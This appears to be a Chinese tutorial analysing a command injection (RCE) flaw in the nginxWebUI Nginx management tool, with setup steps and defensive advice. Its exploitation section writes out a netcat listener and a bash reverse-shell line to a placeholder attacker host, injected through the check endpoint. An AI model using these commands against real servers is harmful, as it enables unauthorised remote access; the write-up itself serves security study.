Java代审——nginxWebUI RCE
字数 828 2025-08-20 18:17:41
NginxWebUI RCE漏洞分析与利用教学文档
1. 漏洞概述
NginxWebUI是一个基于Java开发的Nginx图形化管理工具,存在远程命令执行(RCE)漏洞。该漏洞位于com.cym.controller.adminPage.ConfController#check方法中,由于对用户输入参数处理不当,导致攻击者可以构造恶意请求执行任意系统命令。
2. 环境搭建
2.1 项目获取
git clone https://github.com/cym1102/nginxWebUI
2.2 Docker环境准备
使用以下Dockerfile构建环境:
FROM ubuntu
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update \
&& apt -y install openjdk-11-jdk \
&& apt -y install nginx \
&& apt -y install wget \
&& apt -y install git \
&& apt -y install maven \
&& apt -y install vim
2.3 启动方式
java -jar xxx.jar
3. 漏洞分析
3.1 漏洞位置
漏洞位于com.cym.controller.adminPage.ConfController类的check方法中。
3.2 关键代码分析
// 存在命令执行的代码点
RuntimeUtil.execForStr(...) // 来自hutool组件的方法
// 最终调用ProcessBuilder#start方法进行命令执行
3.3 参数传递
传入的参数cmd由以下三部分组成:
nginxExefileTempnginxDir
当未传入参数时,nginxExe和nginxDir会从settingService获取,这两个参数可控。
4. 漏洞利用
4.1 反弹Shell利用
- 首先在攻击机上监听端口:
nc -lvnp [监听端口]
- 构造恶意请求访问check接口,注入反弹Shell命令:
bash -i >& /dev/tcp/[攻击机IP]/[监听端口] 0>&1
4.2 直接命令执行
通过控制nginxExe或nginxDir参数,注入任意系统命令。
5. 防御建议
- 对用户输入进行严格的过滤和验证
- 使用白名单机制限制可执行的命令
- 避免直接拼接用户输入到系统命令中
- 使用安全的API替代Runtime.exec()等危险方法
- 及时更新到修复漏洞的版本
6. 相关技术
- Java安全编程
- 命令注入防御
- Hutool组件安全使用
- ProcessBuilder安全实践
7. 参考链接
- 原始漏洞报告: [FreeBuf文章链接]
- 项目地址: https://github.com/cym1102/nginxWebUI
- Hutool文档: https://hutool.cn/docs/